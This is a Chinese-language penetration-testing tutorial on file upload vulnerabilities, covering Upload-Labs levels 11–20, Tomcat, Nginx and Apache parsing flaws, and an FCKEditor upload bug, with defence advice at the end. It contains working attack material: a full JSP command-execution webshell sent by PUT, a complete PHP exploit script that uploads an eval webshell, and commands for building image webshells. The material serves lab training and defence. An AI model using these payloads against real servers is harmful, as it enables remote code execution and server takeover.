在 Web 安全领域,文件上传漏洞始终是高危漏洞的重灾区,攻击者通过上传恶意脚本文件,即可直接获取服务器的执行权限,进而控制整个站点甚至服务器。
对于入门学习者而言,Upload-Labs 靶场是绝佳的实战训练平台,它模拟了从基础到进阶的 20 种常见文件上传漏洞场景;而在真实的渗透测试中,我们还会遇到中间件解析漏洞、第三方编辑器漏洞这类更复杂的实战场景。本文将从靶场闯关出发,逐步深挖容器解析漏洞与编辑器漏洞的底层原理,带你完成从入门到实战的进阶突破。
一、Upload-Labs Pass11-Pass20:靶场闯关实战
Upload-Labs 是一个专门用于训练文件上传漏洞绕过技巧的靶场,左侧的关卡列表对应了不同的防护逻辑与绕过方式,我们本次聚焦进阶的 Pass11 到 Pass20 关卡,逐一拆解其绕过思路。

Pass11:GET 型 0x00 截断绕过
思路
这一关的核心防护是白名单后缀校验,仅允许上传图片后缀,但后端的保存路径save_path是可控的,我们可以利用0x00 截断来绕过后缀的拼接逻辑。
原理
0x00 截断是操作系统层的漏洞,由于底层 C 语言处理字符串时,会以\0(即 0x00 字符)作为字符串的结束标志,当读取到这个字符时,就会认为字符串已经结束,忽略后面的内容。
这一关的核心代码如下:
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
后端会把我们传入的save_path,和随机文件名、后缀拼接成最终的保存路径。
注意:该漏洞仅在PHP 版本 < 5.3.4 ,且
magic_quotes_gpc关闭的环境下生效,高版本 PHP 已经修复了这个问题。
步骤
-
正常上传一张图片,使用 Burp Suite 拦截上传请求。
-
修改请求中的
save_path参数,将其改为../upload/shell.php%00。 -
由于 GET 请求会自动对
%00进行 URL 解码,最终拼接后的路径为:../upload/shell.php%00/xxx.jpg。 -
底层处理路径时,遇到 0x00 就会截断,最终保存的文件就是
shell.php,成功绕过了后缀校验。
Pass12:POST 型 0x00 截断绕过
思路
这一关和 Pass11 的逻辑几乎完全一致,唯一的区别是save_path参数从 GET 传递变成了 POST 传递。
原理
GET 型的参数会被 PHP 自动进行 URL 解码,而 POST 请求中的%00不会被自动解码,因此我们需要手动对其进行解码,才能让底层识别到 0x00 字符。
步骤
-
同样拦截上传请求,修改
save_path为../upload/shell.php%00。 -
在 Burp Suite 中,选中
%00这部分内容,右键选择Convert selection --> URL --> URL-decode,将其解码为真实的 0x00 空字符。 -
发送请求,即可成功上传 php 文件,原理和 Pass11 完全一致,只是需要手动解码。
Pass13:图片木马绕过
思路
这一关后端会验证上传文件的内容,确认是图片格式,单纯改后缀已经没用了,我们可以制作图片木马,把恶意代码藏在图片的文件头之后,绕过内容校验。
步骤
-
准备一张正常的图片
image.png,和一个一句话木马文件info.php。 -
在 CMD 或 PowerShell 中执行合并命令:
copy image.png /b + info.php /a webshell.png其中
/b表示以二进制方式合并图片,/a表示以 ASCII 方式合并木马代码,这样就把恶意代码追加到了图片的末尾,不会破坏图片的格式。 -
上传这个合并后的
webshell.png,后端校验图片格式时会认为这是正常图片,成功上传,之后配合文件包含漏洞即可执行其中的恶意代码。
Pass14:getimagesize 校验绕过
思路
这一关后端使用了getimagesize()函数来校验文件,这个函数会读取图片的大小和相关信息,本质上还是校验文件的头信息,判断是不是图片。
步骤
和 Pass13 完全一致,使用图片木马即可绕过,因为我们的图片木马本身就是合法的图片格式,getimagesize()可以正常读取到图片的信息,不会检测到末尾的恶意代码。
Pass15:exif_imagetype 校验绕过
思路
这一关后端使用了exif_imagetype()函数,这个函数会读取图片的第一个字节,检查文件的签名,来判断图片类型,本质上还是校验文件头。
步骤
同样使用图片木马即可绕过,我们的图片木马的文件头是正常的图片签名,这个函数可以正常识别,不会检测到末尾的恶意代码。
Pass16:二次渲染绕过
思路
这一关后端会对上传的图片进行二次渲染,也就是重新生成一张图片,之前我们追加在图片末尾的恶意代码会被直接清除掉,普通的图片木马已经没用了。
原理
二次渲染会把图片的像素数据重新处理,但是 GIF 图片因为最多支持 256 种颜色,重新渲染后改动的部分比较少,我们可以把恶意代码插入到图片不会被修改的位置,绕过渲染。
步骤
-
首先制作 GIF 图片木马:
copy image.gif /b + info.php /a ww.gif -
上传这个
ww.gif,然后把服务器渲染后的图片下载下来,此时我们的恶意代码已经被清除了。 -
使用 010Editor 这类十六进制编辑器,对比原始的图片木马和服务器返回的渲染后的图片,找到没有被修改的位置。
-
把恶意代码插入到这个位置,修改后的图片既可以通过二次渲染的校验,又能保留我们的恶意代码。
-
上传修改后的图片,此时恶意代码就会被保留下来,配合文件包含即可执行。
Pass17:条件竞争绕过
思路
这一关的逻辑是:不管什么文件,先上传到服务器,然后检查,如果不是图片,就立刻删除这个文件。看起来很安全,但是我们可以利用条件竞争,在文件被删除之前,访问它,让它执行我们的恶意代码。
原理
文件的上传、检查、删除是有时间差的,我们可以用多线程不断上传恶意文件,同时不断访问这个文件的地址,只要在服务器删除文件的瞬间,我们的访问请求到达,PHP 就会执行这个文件里的代码,即使之后文件被删除,我们的命令已经执行完成了。
步骤
-
准备一个一句话木马文件
info.php。 -
开启多线程,不断上传这个文件,同时不断访问
http://localhost/upload/info.php。 -
只要有一次请求,在文件被删除之前访问到,就可以成功执行恶意代码。
Pass18:解析漏洞绕过
思路
这一关后端会对上传的文件进行重命名,我们无法控制文件名,普通的 00 截断已经没用了,但是我们可以利用中间件的解析漏洞。
步骤
方式一:Apache 解析漏洞
我们上传一个文件info.php.7z,Apache 解析文件时,会从右往左识别后缀,只要遇到.php就会停止,把这个文件当成 php 文件解析,即使后缀是.7z也没关系。
方式二:条件竞争
和 Pass17 类似,不断上传文件,同时不断访问这个文件,在删除之前执行。
Pass19:黑名单绕过
思路
这一关是黑名单校验,过滤了 php、asp 等可执行后缀,但是文件名是可控的,我们可以用两种方式绕过。
方法 1:0x00 截断
和之前的截断原理一样,把文件名改为shell.php%00.jpg,后端校验后缀的时候,看到的是.jpg,符合白名单,但是保存的时候,0x00 截断,最终保存的是shell.php。
方法 2:路径绕过
把文件名改为shell.php/.,后端校验后缀的时候,会认为后缀是空的,绕过了黑名单,而系统处理路径的时候,会忽略末尾的/.,最终保存的就是shell.php。
Pass20:白名单数组绕过
思路
这一关是白名单校验,仅允许图片后缀,但是后端处理文件名的逻辑存在缺陷,我们可以构造数组来绕过。
原理
后端的核心代码是这样的:
$ext = end($file); // 取数组最后一个元素作为后缀
$f = reset($file); // 取数组第一个元素作为文件名
$file_name = $f . '.' . $file[count($file) - 1]; // 拼接文件名
正常来说,我们上传的文件名是shell.jpg,解析成数组的话,$file[0]='shell', $file[1]='jpg',最终拼接成shell.jpg。
但是我们可以构造一个不连续的数组:
$file[0] = 'shell.php';
$file[2] = 'jpg';
此时:
-
end($file)取到最后一个元素,也就是jpg,符合白名单,校验通过。 -
count($file)是 2,所以$file[count($file)-1]就是$file[1],这个索引不存在,值为 null。 -
最终拼接的文件名就是
shell.php.,末尾带一个点。
而 Windows 系统处理文件名时,会自动去掉末尾的点,所以最终保存的文件就是shell.php,成功绕过了白名单校验。
步骤
-
拦截上传请求,把文件名参数改为数组形式:
save_name[0]=shell.php&save_name[2]=jpg。 -
发送请求,即可成功上传 php 文件。
二、容器解析漏洞:真实场景的漏洞深挖
在真实的渗透测试中,我们经常会遇到中间件的解析漏洞,这类漏洞是中间件本身的缺陷,即使后端做了严格的文件校验,也可能被绕过,我们借助 vulhub 靶场来复现这几类常见的解析漏洞。
1. Tomcat PUT 任意文件上传漏洞(CVE-2017-12615)
漏洞原理
当 Tomcat 开启了 PUT 请求方法,并且将readonly设置为 false 时,攻击者可以通过构造 PUT 请求,上传任意文件。默认情况下 Tomcat 禁止上传 jsp 文件,但是我们可以在文件名后加一个/,绕过这个限制,Tomcat 处理路径时会自动去掉末尾的/,最终成功上传 jsp 木马。
该漏洞影响 Tomcat 7.0.0 - 7.0.81 版本。
复现步骤
-
首先启动 vulhub 靶场:
cd /home/enjoy/vulhub-master/tomcat/CVE-2017-12615 docker-compose build docker-compose up -d -
使用 Burp Suite 拦截请求,构造 PUT 请求,上传 jsp 木马:
PUT /1.jsp/ HTTP/1.1 Host: 你的靶机IP:8080 Accept: */* Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 750 <%-- 这里是jsp一句话木马的内容 --%> <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%> <%!public static String excuteCmd(String c) { StringBuilder line = new StringBuilder(); try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream())); String temp = null;while ((temp = buf.readLine()) != null) { line.append(temp+"\n");}buf.close();} catch (Exception e) { line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){ out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");} else{out.println(":-)");}%> -
发送请求后,访问
http://靶机IP:8080/1.jsp?pwd=023&cmd=id,即可执行任意命令。

2. Nginx 解析漏洞
漏洞原理
这个漏洞是由于 Nginx 的fastcgi_split_path_info配置不当导致的,当我们访问http://xxx.com/1.jpg/.php时,Nginx 会把1.jpg当成要解析的 php 文件,把/.php当成 path info 传递给 php-fpm,最终就会执行1.jpg里的 php 代码。
复现步骤
-
先关闭之前的靶场,启动 Nginx 的靶场:
sudo docker-compose down cd /home/enjoy/vulhub-master/nginx/nginx_parsing_vulnerability docker-compose build docker-compose up -d -
上传我们的图片木马
1.jpg,得到上传后的地址。 -
访问
http://靶机IP/uploadfiles/xxx.png/a.php,此时 Nginx 就会把 png 文件当成 php 来解析,执行其中的恶意代码。
3. Apache 解析漏洞
漏洞原理
Apache 有一个特性:它会从右往左识别文件的后缀,只要遇到一个可识别的可执行后缀(比如 php),就会停止,把这个文件当成对应的类型来解析,不管后面还有什么后缀。
比如我们上传一个文件shell.php.png,Apache 会先识别到.png,不对,然后往左,识别到.php,就会把这个文件当成 php 文件来解析,这样就绕过了后端的白名单校验。
复现步骤
-
关闭之前的靶场,启动 Apache 的靶场:
sudo docker-compose down cd /home/enjoy/vulhub-master/httpd/apache_parsing_vulnerability docker-compose build docker-compose up -d -
把我们的图片木马重命名为
shell.php.png,上传到服务器。 -
直接访问这个文件,Apache 就会把它当成 php 文件来解析,执行其中的恶意代码。
三、编辑器漏洞:FCKEditor 上传漏洞实战
除了中间件的漏洞,第三方的编辑器也经常存在上传漏洞,比如老版本的 FCKEditor,就存在 00 截断的上传漏洞,我们来复现这个漏洞。
漏洞原理
FCKEditor 的文件上传接口,在处理CurrentFolder参数时,存在 00 截断漏洞,我们可以在这个参数里插入%00.gif,后端校验的时候,会认为我们要上传到fuck.php%00.gif这个目录,后缀是 gif,符合图片的白名单,但是保存的时候,0x00 截断,最终把文件保存为fuck.php。
复现步骤
-
首先搭建 FCKEditor 的靶场环境,修改配置文件,开启上传功能。
-
编写利用脚本
fck.php,内容如下: <?php error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); define(STDIN, fopen("php://stdin", "r")); $match = array(); function http_send($host, $packet) { $sock = fsockopen($host, 80); while (!$sock) { print "\n[-] No response from {$host}:80 Trying again..."; $sock = fsockopen($host, 80); } fputs($sock, $packet); while (!feof($sock)) $resp .= fread($sock, 1024); fclose($sock); print $resp; return $resp; } function connector_response($html) { global $match; return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201))); } print "\n+------------------------------------------------------------------+"; print "\n| FCKEditor Servelet Arbitrary File Upload Exploit |"; print "\n+------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] host path\n"; print "\nExample....: php $argv[0] localhost /\n"; print "\nExample....: php $argv[0] localhost /FCKEditor/\n"; die(); } $host = $argv[1]; $path = ereg_replace("(/){2,}", "/", $argv[2]); $filename = "fvck.gif"; $foldername = "fuck.php%00.gif"; $connector = "editor/filemanager/connectors/php/connector.php"; $payload = "-----------------------------265001916915724\r\n"; $payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n"; $payload .= "Content-Type: image/jpeg\r\n\r\n"; $payload .= 'GIF89a'."\r\n".'<?php eval($_POST[cmd]) ?>'."\n"; $payload .= "-----------------------------265001916915724--\r\n"; $packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Connection: close\r\n\r\n"; $packet .= $payload; print $packet; if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n"); else print "\n[-] Job done! try http://${host}/$match[2] \n"; ?> -
在 CMD 中执行这个脚本:
E:\upload-labs-env\PHP> .\php.exe .\fck.php 127.0.0.1:80 /fckeditor/ -
执行完成后,访问
http://localhost/userfiles/image/fuck.php,传入参数cmd=phpinfo();,即可执行任意 php 代码。
四、总结与防御建议
通过本次的实战,我们可以看到,文件上传漏洞的绕过方式层出不穷,从基础的 00 截断,到条件竞争,再到中间件的解析漏洞,本质上都是利用了后端逻辑的缺陷,或者中间件的处理特性。
对于防御而言,我们可以从以下几个方面入手:
-
严格的后缀校验:使用白名单,仅允许必要的文件后缀,并且对文件名做严格的处理,去掉末尾的点、空格等特殊字符。
-
文件重命名:上传文件后,对文件进行随机重命名,不要使用用户上传的文件名,避免攻击者控制文件名。
-
文件内容校验:不仅校验文件头,还要对图片进行二次处理,清除其中的恶意代码,或者使用云存储的文件检测功能。
-
升级中间件版本:及时升级 Tomcat、Nginx、Apache 等中间件到最新版本,修复已知的解析漏洞。
-
限制上传目录的执行权限:把上传目录设置为不可执行,即使攻击者上传了木马,也无法执行其中的代码。
希望本文的内容可以帮助你深入理解文件上传漏洞的原理,在实战中更好地发现和防御这类漏洞。